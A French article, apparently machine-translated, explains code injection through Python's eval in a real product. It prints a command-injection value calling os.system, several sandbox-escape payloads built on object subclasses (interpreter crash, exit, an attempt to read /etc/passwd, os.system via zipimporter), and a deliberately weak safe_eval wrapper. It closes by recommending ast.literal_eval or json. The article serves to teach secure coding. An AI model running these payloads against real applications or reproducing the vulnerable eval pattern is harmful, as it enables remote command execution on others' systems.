Le contenu de cet article est une introduction aux principes courants d'encapsulation et d'utilisation de Python eval. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer.
Récemment, au cours du processus de révision du code, j'ai découvert qu'il existe de nombreuses utilisations incorrectes d'eval qui entraînent des problèmes d'injection de code. Une utilisation typique consiste à utiliser eval comme dict d'analyse. Certains utilisent simplement eval, et d'autres l'utilisent mal. l'encapsulation. eval est utilisée par tous les produits, ce qui entraîne des problèmes plus graves. Ce sont des leçons sanglantes, donc tout le monde devrait y prêter plus d'attention.
Ce qui suit est un exemple dans un produit réel. Pour plus de détails, voir [bug83055][1] :
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
La requête est directement convertie à partir du POST et peut être directement contrôlée par le user.Si l'utilisateur entre oper_type=__import__('os').system('sleep 5') dans le paramètre url, la commande sleep peut alors être exécutée. Bien entendu, n'importe quelle commande système ou n'importe quel code exécutable peut également être exécuté. Le mal est évident, voyons ce que fait exactement eval et comment le faire en toute sécurité ?
1. Que faire
Pour faire simple, il s'agit d'exécuter une expression
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
De ces trois morceaux de code, le premier est évidemment utilisé pour le calcul. La seconde consiste à convertir les données de type chaîne en type de données python, voici dict. C'est également une erreur courante dans nos produits. Le troisième est ce que fait le mauvais garçon : exécuter des commandes système.
eval accepte trois paramètres, eval(source[, globals[, locals]]) -> value
globals doit être un chemin et locals doit être une paire clé-valeur, ce qui est pris par défaut Globales et locales du système
2, encapsulation incorrecte
(1) Regardons une section de la fonction d'encapsulation dans l'un de nos codes produit, voir [bug][2] , ou le réseau Recherchez des codes avec un classement plus élevé, par exemple :
def safe_eval(eval_str): try: #加入命名空间 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
Ici, __builtins__ est défini sur vide, donc les variables intégrées comme __import__ ont disparu. Cette fonction encapsulée est-elle sûre ? Permettez-moi de le parcourir étape par étape :
>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
Éléments de la liste
'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Avertissement', 'ZeroDivisionError', '_', 'debug', 'doc', 'import', 'nom', 'package', 'abs', 'all', 'any', 'apply', 'basestring ', ' bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float ', ' format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next ', 'objet', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'inversé', 'round', 'set', 'setattr', 'slice', 'trié', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type ', ' unichr', 'unicode', 'vars', 'xrange', 'zip']
De __builtins__ vous pouvez voir qu'il y a __import__ dans son module, qui peut être utilisé pour effectuer certaines opérations de os. S'il est défini sur vide et que la fonction eval est exécutée, le résultat est le suivant :
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
Maintenant, il est demandé que __import__ n'est pas défini et ne peut pas être exécuté avec succès. La réponse est évidemment fausse.
Par exemple, l'exécution est la suivante :
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
Ici l'utilisateur définit une fonction, et cet appel de fonction provoque directement une erreur de segmentation
Le code suivant sort du interpréteur :
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
Ayons une compréhension préliminaire de l'ensemble du processus :
>>> ().__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
Le sens de ce code python est de trouver la classe du tuple, puis de trouver sa classe de base, qui est un objet, puis passer l'objet recherche ses sous-classes, et les sous-classes spécifiques sont les mêmes que la sortie dans le code. Vous pouvez y voir qu'il existe un module de fichiers et un module zipimporter. Peuvent-ils être utilisés ? Commencez par le fichier
Si l'utilisateur construit :
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
Ce mode restreint s'entend simplement comme le bac à sable de l'interpréteur python. Certaines fonctions sont restreintes, comme le système ne peut pas l'être. modifié et le système ne peut pas être modifié. Utilisez certaines fonctions système, telles que le fichier, voir Mode d'exécution restreint pour plus de détails, alors comment le contourner ? A cette époque, nous avons pensé à zipimporter. Si le module importé fait référence au module os, nous pouvons l'utiliser comme le code suivant.
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
Cela vérifie que le safe_eval qui vient d'être effectué n'est réellement pas sûr.
3, comment utiliser
correctement (1) Utilisez ast.literal_eval
(2) Si vous convertissez simplement des caractères en dict, vous pouvez utiliser le format json
Cet article est partout ici. Pour un contenu plus passionnant, vous pouvez faire attention à la colonne Tutoriel vidéo Python sur le site Web PHP chinois !
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!